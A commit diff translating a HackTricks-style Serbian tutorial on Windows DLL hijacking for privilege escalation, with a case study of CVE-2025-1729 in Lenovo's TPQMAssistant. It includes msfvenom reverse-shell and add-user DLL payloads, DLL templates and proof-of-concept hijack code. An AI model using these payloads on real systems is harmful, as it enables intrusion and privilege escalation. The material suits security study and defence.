Translated ['src/windows-hardening/windows-local-privilege-escalation/dl

This commit is contained in:
Translator 2025-07-09 09:14:15 +00:00
parent 9adfe6eb91
commit 0e48b9c88c

View File

@ -5,7 +5,7 @@
## Basic Information
DLL Hijacking uključuje manipulaciju pouzdane aplikacije da učita zlonamerni DLL. Ovaj termin obuhvata nekoliko taktika kao što su **DLL Spoofing, Injection, i Side-Loading**. Uglavnom se koristi za izvršavanje koda, postizanje postojanosti i, ređe, eskalaciju privilegija. Iako je fokus ovde na eskalaciji, metoda hijackinga ostaje dosledna kroz ciljeve.
DLL Hijacking uključuje manipulaciju pouzdane aplikacije da učita zlonamerni DLL. Ovaj termin obuhvata nekoliko taktika kao što su **DLL Spoofing, Injection, i Side-Loading**. Uglavnom se koristi za izvršavanje koda, postizanje postojanosti i, ređe, eskalaciju privilegija. Iako je fokus ovde na eskalaciji, metoda otmice ostaje dosledna kroz ciljeve.
### Common Techniques
@ -35,15 +35,15 @@ Ako tražite **nedostajući dll unutar specifične izvršne datoteke**, trebali
## Exploiting Missing Dlls
Da bismo eskalirali privilegije, najbolja šansa koju imamo je da možemo **napisati dll koji će privilegovani proces pokušati da učita** na nekom **mestu gde će biti pretraživan**. Stoga, moći ćemo da **napišemo** dll u **folderu** gde se **dll pretražuje pre** foldera gde se **originalni dll** nalazi (čudan slučaj), ili ćemo moći da **pišemo u neki folder gde će se dll pretraživati** i originalni **dll ne postoji** u bilo kom folderu.
Da bismo eskalirali privilegije, najbolja šansa koju imamo je da možemo **napisati dll koji će privilegovani proces pokušati da učita** na nekom od **mesta gde će biti pretraživan**. Stoga, moći ćemo da **napišemo** dll u **folderu** gde se **dll pretražuje pre** foldera gde se **originalni dll** nalazi (čudan slučaj), ili ćemo moći da **pišemo u neki folder gde će se dll pretraživati** i originalni **dll ne postoji** u bilo kom folderu.
### Dll Search Order
**Unutar** [**Microsoft dokumentacije**](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching) **možete pronaći kako se DLL-ovi učitavaju specifično.**
**Windows aplikacije** traže DLL-ove prateći set **predefinisanih pretraživačkih putanja**, pridržavajući se određenog reda. Problem DLL hijacking-a nastaje kada se štetan DLL strateški postavi u jedan od ovih direktorijuma, osiguravajući da se učita pre autentičnog DLL-a. Rešenje za sprečavanje ovoga je osigurati da aplikacija koristi apsolutne putanje kada se poziva na DLL-ove koje zahteva.
**Windows aplikacije** traže DLL-ove prateći set **predefinisanih pretraživačkih putanja**, pridržavajući se određenog redosleda. Problem DLL hijacking-a nastaje kada se štetan DLL strateški postavi u jedan od ovih direktorijuma, osiguravajući da se učita pre autentičnog DLL-a. Rešenje za sprečavanje ovoga je osigurati da aplikacija koristi apsolutne putanje kada se poziva na DLL-ove koje zahteva.
Možete videti **DLL pretraživački redosled na 32-bitnim** sistemima u nastavku:
Možete videti **DLL pretraživački redosled na 32-bitnim** sistemima ispod:
1. Direktorijum iz kojeg je aplikacija učitana.
2. Sistem direktorijum. Koristite [**GetSystemDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya) funkciju da dobijete putanju ovog direktorijuma.(_C:\Windows\System32_)
@ -57,16 +57,16 @@ To je **podrazumevani** pretraživački redosled sa **SafeDllSearchMode** omogu
Ako se [**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) funkcija pozove sa **LOAD_WITH_ALTERED_SEARCH_PATH**, pretraga počinje u direktorijumu izvršnog modula koji **LoadLibraryEx** učitava.
Na kraju, imajte na umu da **dll može biti učitan ukazujući apsolutnu putanju umesto samo imena**. U tom slučaju, taj dll će se **samo pretraživati u toj putanji** (ako dll ima bilo kakve zavisnosti, one će se pretraživati kao da su učitane po imenu).
Na kraju, imajte na umu da **dll može biti učitan ukazujući apsolutnu putanju umesto samo imena**. U tom slučaju, taj dll će se **samo pretraživati u toj putanji** (ako dll ima bilo kakve zavisnosti, one će se pretraživati kao da su samo učitane po imenu).
Postoje i drugi načini da se promene načini pretraživanja, ali ih ovde neću objašnjavati.
Postoje i drugi načini za promenu načina pretraživačkog redosleda, ali ih neću objašnjavati ovde.
#### Exceptions on dll search order from Windows docs
Određene izuzetke od standardnog DLL pretraživačkog reda beleže Windows dokumenti:
Određene izuzetke od standardnog DLL pretraživačkog redosleda beleži Windows dokumentacija:
- Kada se naiđe na **DLL koji deli svoje ime sa jednim već učitanim u memoriji**, sistem zaobilazi uobičajenu pretragu. Umesto toga, vrši proveru za preusmeravanje i manifest pre nego što se vrati na DLL već u memoriji. **U ovom scenariju, sistem ne sprovodi pretragu za DLL**.
- U slučajevima kada je DLL prepoznat kao **poznati DLL** za trenutnu verziju Windows-a, sistem će koristiti svoju verziju poznatog DLL-a, zajedno sa bilo kojim od njegovih zavisnih DLL-ova, **preskočivši proces pretrage**. Registry ključ **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** sadrži listu ovih poznatih DLL-ova.
- Kada se naiđe na **DLL koji deli svoje ime sa jednim već učitanim u memoriji**, sistem zaobilazi uobičajenu pretragu. Umesto toga, vrši proveru preusmeravanja i manifest pre nego što se vrati na DLL već u memoriji. **U ovom scenariju, sistem ne sprovodi pretragu za DLL**.
- U slučajevima kada je DLL prepoznat kao **poznati DLL** za trenutnu verziju Windows-a, sistem će koristiti svoju verziju poznatog DLL-a, zajedno sa bilo kojim njegovim zavisnim DLL-ovima, **preskočivši proces pretrage**. Registry ključ **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** sadrži listu ovih poznatih DLL-ova.
- Ako **DLL ima zavisnosti**, pretraga za tim zavisnim DLL-ovima se sprovodi kao da su označeni samo svojim **imenima modula**, bez obzira na to da li je inicijalni DLL identifikovan putem pune putanje.
### Escalating Privileges
@ -74,12 +74,12 @@ Određene izuzetke od standardnog DLL pretraživačkog reda beleže Windows doku
**Requirements**:
- Identifikujte proces koji radi ili će raditi pod **različitim privilegijama** (horizontalno ili lateralno kretanje), koji **nema DLL**.
- Osigurajte da je **pristup za pisanje** dostupan za bilo koji **direktorijum** u kojem će se **DLL** **pretraživati**. Ova lokacija može biti direktorijum izvršne datoteke ili direktorijum unutar sistemske putanje.
- Osigurajte da je **pristup za pisanje** dostupan za bilo koji **direktorijum** u kojem će se **DLL** pretraživati. Ova lokacija može biti direktorijum izvršne datoteke ili direktorijum unutar sistemske putanje.
Da, zahtevi su komplikovani za pronalaženje jer je **po defaultu čudno pronaći privilegovanu izvršnu datoteku bez dll-a** i još je **čudnije imati dozvole za pisanje u folderu sistemske putanje** (po defaultu ne možete). Ali, u pogrešno konfiguriranim okruženjima ovo je moguće.\
U slučaju da imate sreće i ispunjavate zahteve, možete proveriti [UACME](https://github.com/hfiref0x/UACME) projekat. Čak i ako je **glavni cilj projekta zaobilaženje UAC**, možete pronaći **PoC** DLL hijacking-a za verziju Windows-a koju možete koristiti (verovatno samo menjajući putanju foldera gde imate dozvole za pisanje).
Da, zahtevi su komplikovani za pronalaženje jer je **po defaultu čudno pronaći privilegovanu izvršnu datoteku bez dll-a** i još je **čudnije imati dozvole za pisanje u folderu sistemske putanje** (to ne možete po defaultu). Ali, u pogrešno konfiguriranim okruženjima ovo je moguće.\
U slučaju da imate sreće i ispunjavate zahteve, možete proveriti [UACME](https://github.com/hfiref0x/UACME) projekat. Čak i ako je **glavni cilj projekta zaobilaženje UAC**, možete pronaći **PoC** za Dll hijacking za verziju Windows-a koju možete koristiti (verovatno samo menjajući putanju foldera gde imate dozvole za pisanje).
Napomena da možete **proveriti svoje dozvole u folderu** radeći:
Imajte na umu da možete **proveriti svoje dozvole u folderu** tako što ćete:
```bash
accesschk.exe -dqv "C:\Python27"
icacls "C:\Python27"
@ -93,7 +93,7 @@ Možete takođe proveriti uvoze izvršne datoteke i izvoze dll-a sa:
dumpbin /imports C:\path\Tools\putty\Putty.exe
dumpbin /export /path/file.dll
```
Za potpuni vodič o tome kako da **zloupotrebite Dll Hijacking za eskalaciju privilegija** sa dozvolama za pisanje u **System Path folder**, proverite:
Za potpuni vodič o tome kako **zloupotrebiti Dll Hijacking za eskalaciju privilegija** sa dozvolama za pisanje u **System Path folder**, proverite:
{{#ref}}
writable-sys-path-+dll-hijacking-privesc.md
@ -102,11 +102,11 @@ writable-sys-path-+dll-hijacking-privesc.md
### Automatizovani alati
[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) će proveriti da li imate dozvole za pisanje u bilo kom folderu unutar sistemskog PATH-a.\
Ostali zanimljivi automatizovani alati za otkrivanje ove ranjivosti su **PowerSploit funkcije**: _Find-ProcessDLLHijack_, _Find-PathDLLHijack_ i _Write-HijackDll._
Drugi zanimljivi automatizovani alati za otkrivanje ove ranjivosti su **PowerSploit funkcije**: _Find-ProcessDLLHijack_, _Find-PathDLLHijack_ i _Write-HijackDll._
### Primer
U slučaju da pronađete scenario koji se može iskoristiti, jedna od najvažnijih stvari za uspešno iskorišćavanje bi bila da **napravite dll koji izvozi barem sve funkcije koje će izvršni program uvesti iz njega**. U svakom slučaju, imajte na umu da Dll Hijacking dolazi u obzir kako bi se [escaliralo sa Medium Integrity nivoa na High **(zaobilaženje UAC)**](../../authentication-credentials-uac-and-efs/index.html#uac) ili sa [**High Integrity na SYSTEM**](../index.html#from-high-integrity-to-system)**.** Možete pronaći primer **kako napraviti validan dll** unutar ove studije o dll hijacking-u fokusirane na dll hijacking za izvršenje: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\
U slučaju da pronađete scenario koji se može iskoristiti, jedna od najvažnijih stvari za uspešno iskorišćavanje bi bila da **napravite dll koji izvozi barem sve funkcije koje će izvršni program uvesti iz njega**. U svakom slučaju, imajte na umu da Dll Hijacking dolazi u obzir kako bi se [escaliralo sa Medium Integrity nivoa na High **(zaobilaženje UAC)**](../../authentication-credentials-uac-and-efs/index.html#uac) ili sa [**High Integrity na SYSTEM**](../index.html#from-high-integrity-to-system)**.** Možete pronaći primer **kako napraviti validan dll** unutar ove studije o dll hijackingu fokusirane na dll hijacking za izvršenje: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\
Pored toga, u **sledećem odeljku** možete pronaći neke **osnovne dll kodove** koji bi mogli biti korisni kao **šabloni** ili za kreiranje **dll-a sa neobaveznim izvezenim funkcijama**.
## **Kreiranje i kompajliranje Dll-ova**
@ -115,7 +115,7 @@ Pored toga, u **sledećem odeljku** možete pronaći neke **osnovne dll kodove**
U suštini, **Dll proxy** je Dll sposoban da **izvrši vaš zlonamerni kod kada se učita**, ali takođe da **izloži** i **radi** kao **očekivano** tako što **preusmerava sve pozive na pravu biblioteku**.
Sa alatom [**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant) ili [**Spartacus**](https://github.com/Accenture/Spartacus) možete zapravo **naznačiti izvršni program i odabrati biblioteku** koju želite da proxifujete i **generisati proxified dll** ili **naznačiti Dll** i **generisati proxified dll**.
Sa alatom [**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant) ili [**Spartacus**](https://github.com/Accenture/Spartacus) možete zapravo **naznačiti izvršni program i odabrati biblioteku** koju želite da proxify i **generisati proxified dll** ili **naznačiti Dll** i **generisati proxified dll**.
### **Meterpreter**
@ -131,9 +131,9 @@ msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dl
```
msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll
```
### Vaš vlastiti
### Vaš
Napomena da u nekoliko slučajeva Dll koji kompajlirate mora **izvesti nekoliko funkcija** koje će biti učitane od strane procesa žrtve, ako te funkcije ne postoje **binarni fajl neće moći da ih učita** i **eksploit će propasti**.
Napomena da u nekoliko slučajeva Dll koji kompajlirate mora **izvoziti nekoliko funkcija** koje će biti učitane od strane procesa žrtve, ako ove funkcije ne postoje **binarni fajl neće moći da ih učita** i **eksploit će propasti**.
```c
// Tested in Win10
// i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared
@ -214,10 +214,48 @@ break;
return TRUE;
}
```
## Reference
## Studija slučaja: CVE-2025-1729 - Eskalacija privilegija korišćenjem TPQMAssistant.exe
Ovaj slučaj demonstrira **Phantom DLL Hijacking** u Lenovo-ovom TrackPoint Quick Menu (`TPQMAssistant.exe`), praćen kao **CVE-2025-1729**.
### Detalji o ranjivosti
- **Komponenta**: `TPQMAssistant.exe` se nalazi na `C:\ProgramData\Lenovo\TPQM\Assistant\`.
- **Zakazani zadatak**: `Lenovo\TrackPointQuickMenu\Schedule\ActivationDailyScheduleTask` se izvršava svakodnevno u 9:30 AM pod kontekstom prijavljenog korisnika.
- **Dozvole direktorijuma**: Pisanje je dozvoljeno od strane `CREATOR OWNER`, što omogućava lokalnim korisnicima da postavljaju proizvoljne datoteke.
- **Ponašanje pretrage DLL-a**: Pokušava da učita `hostfxr.dll` iz svog radnog direktorijuma prvo i beleži "NAME NOT FOUND" ako nedostaje, što ukazuje na prioritet pretrage lokalnog direktorijuma.
### Implementacija eksploata
Napadač može postaviti zlonamerni `hostfxr.dll` stub u isti direktorijum, koristeći nedostajući DLL za postizanje izvršavanja koda pod korisničkim kontekstom:
```c
#include <windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD fdwReason, LPVOID lpReserved) {
if (fdwReason == DLL_PROCESS_ATTACH) {
// Payload: display a message box (proof-of-concept)
MessageBoxA(NULL, "DLL Hijacked!", "TPQM", MB_OK);
}
return TRUE;
}
```
### Attack Flow
1. Kao standardni korisnik, postavite `hostfxr.dll` u `C:\ProgramData\Lenovo\TPQM\Assistant\`.
2. Sačekajte da se zakazani zadatak izvrši u 9:30 ujutro pod kontekstom trenutnog korisnika.
3. Ako je administrator prijavljen kada se zadatak izvršava, zlonamerni DLL se pokreće u sesiji administratora sa srednjim integritetom.
4. Povežite standardne UAC bypass tehnike da biste se uzdigli sa srednjeg integriteta na SYSTEM privilegije.
### Mitigation
Lenovo je objavio UWP verziju **1.12.54.0** putem Microsoft Store-a, koja instalira TPQMAssistant pod `C:\Program Files (x86)\Lenovo\TPQM\TPQMAssistant\`, uklanja ranjivi zakazani zadatak i deinstalira nasleđene Win32 komponente.
## References
- [CVE-2025-1729 - Privilege Escalation Using TPQMAssistant.exe](https://trustedsec.com/blog/cve-2025-1729-privilege-escalation-using-tpqmassistant-exe)
- [Microsoft Store - TPQM Assistant UWP](https://apps.microsoft.com/detail/9mz08jf4t3ng)
- [https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e](https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e)
- [https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html](https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html)
{{#include ../../../banners/hacktricks-training.md}}